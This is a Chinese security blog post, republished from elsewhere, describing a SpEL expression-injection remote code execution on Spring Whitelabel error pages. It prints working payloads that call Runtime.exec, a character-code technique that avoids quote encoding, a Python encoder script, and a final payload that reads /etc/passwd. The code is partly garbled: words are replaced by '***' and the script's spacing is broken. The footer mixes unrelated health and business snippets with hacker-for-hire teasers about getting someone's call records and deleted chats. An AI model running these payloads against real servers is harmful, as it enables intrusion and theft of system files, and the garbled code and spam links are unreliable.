记一次Spring表达式注入

访客4年前黑客工具711
本文首发于“合天智汇”公众号 作者:Free雅轩
该漏洞仅影响 Spring Boot 1.2.8之前版本,Spring Boot 1.2.8版本之后已得到修补。
相关实验
Springboot未授权访问
实验:Springboot未授权访问(合天网安实验室)
Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息从而导致信息泄露的事件发生
在spring中任何反映用户输入的Whitelabel错误页面都将会容易受到攻击。这是因为用户的输入被视做为Springs Expression Language(SpEL)。在一次测试中,我遇到了一个特殊的URL,该URL触发了spring中的Whitelabel Error页面表达式注入。
https://<domain>/BankDetailForm?id=abc${12*12}abc
执行结果:
spring中的Whitelabel页面将输入的abc${12*12}abc显示为abc144abc。随后尝试执行一个id命令并显示结果。尝试了以下测试:
https://<domain>/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec('id')} payload:${T(java.lang.Runtime).getRuntime().exec('id')}
执行结果:
输入的表达式原样输出,对比David的文章(https://secalert.net/#cve-2016-4977),一切都显示正确,但是我仍然没有得到想要的输出。尝试了良久之后,我决定本地搭建一个Springs应用程序尝试创建相同的场景。我尝试了基本操作,{5*5}并在错误页回显出25的结果。然后尝试执行id命令,依旧没有执行。通过调试跟踪代码的堆栈信息如下:
可以清楚的看到包含id命令的单引号被URL编码。得出原因之后,大致的解决方式有两种:
1、通过在错误的代码中查找字符,然后使用substring()将字符串一个个截取来传递给exec() *** 。
2、通过找到一种无需使用双引号或单引号就可以传递要执行的字符串的 *** 。
这里我们采用第二种 *** 。如果我能够找到可以输入id参数的 *** ,那么cat /etc/passwd也将会迎刃而解。在Java中支持嵌套函数的使用。
经过对一些Java类调试之后发现了以下内容:
java.lang.Character.toString(105) -> prints the characer 'i'
i字符我们已经得到,那么接下来我们通过同样的 *** 合并字符“ d”即可,我们使用concat() *** 来进行嵌套d字符,并与i字符合并。
java.lang.Character.toString(105).concat(T(java.lang.Character).toString(100)) -> prints the characters 'id'
最终得到的有效载荷如下:
https://<domain>/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(T(java. lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))}
执行结果如下所示:
通过getRuntime() *** 执行我们传入的参数,现在,我们已经有了一个回显型的RCE,可以使用它来执行命令。接下来尝试执行cat /etc/passwd并将结果打印到Whitelabel Error页面上。这意味着对于每个字符都需要通过ASCII编码来进行传递。每个字符的传入格式如下:
concat(T(java.lang.Character).toString(<ascii value>))
由于字符过多,我们通过python脚本来实现此功能:
#!/usr/bin/env pythonfrom__future__ importprint_function importsys message =raw_input('Enter message to encode:')print('Decoded string (in ASCII): ')forch inmessage:print('.concat(T(java.lang.Character).toString(%s))'%ord(ch),end=""),print(' ')
要获取cat /etc/passwd命令的结果,我们通过使用IOUtils类调用toString() *** 将输入流传递给此 *** ,并获取相应结果。
最终payload如下:
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
综上所述,通过Apache IOUtils库,并将cat /etc/passwd使用字符类转换为ASCII字符,将转换后的字符传递给exec() *** 执行。并获得输入流,将其传递给toString()IOUtils类的 *** 解析。
文章来源:http://deadpool.sh/2017/RCE-Springs/

相关文章

哪里可以查对方历史的通话记录

哮喘是一种很容易复发的疾病,并不是说长大了就会好了,引起儿童哮喘的原因是多方面的,应积极治疗,那么,家长应该如何照顾哮喘的儿童呢?接下来友谊长存小编就来说说。 儿童哮喘长大了就好了吗 从儿童开始的...

查询老板删除微信聊天记录

前不久,杨乐乐因综艺节目《发光的姐姐》而重回大众视线。如今的她,家庭事业两手抓,在人生每一个角色中都游刃有余、从容不迫,活成了所有女人羡慕的模样。谈到湖南卫视优秀节目主持人李锐,大家一定不会陌生。五季...

黑客代码微信头像(黑客群头像)

黑客代码微信头像(黑客群头像)

本文导读目录: 1、哪位亲知道有整人微信头像吗?卡通的里面有文字列如(笨蛋,白痴)有个箭头指向对方 2、微信都有哪些诈骗形式 3、怎样才能知道陌生号点开看了自己的微信头像? 4、有人冒充我...

祝站镇适合做什么生意(祝站镇规划情况简介)

祝站镇适合做什么生意(祝站镇规划情况简介)

很多人回乡后,都希望在自己的家乡做点小生意,那么小县城做什么生意好?什么样的生意可以赚到钱呢?今天小编就和大家介绍7个最赚钱的生意,下面就一起来看看吧。 1. 服装干洗店 社会、经济发展后...

第一接单网,黑客在哪里联系方式,找电脑黑客

最近三年来,现已有三起BGP绑架进犯被记录在案。 在Renesys记载的事例中,2013年BGP绑架技能从前用来从头路由数据,使其在抵达意图地之前,先经过恣意指定的国家。 其间,一个进犯事例中的数据...

腰疼的原因有哪些(腰疼是什么原因引起的)

腰疼的原因有哪些(腰疼是什么原因引起的)现代社会竞争激烈,很多人的生活、工作、家庭压力很大,不经常运动、长时间坐在电脑前工作、加班、熬夜、吃饭不正常等情况的出现,所以会导致患上很多的疾病,比如,现在一...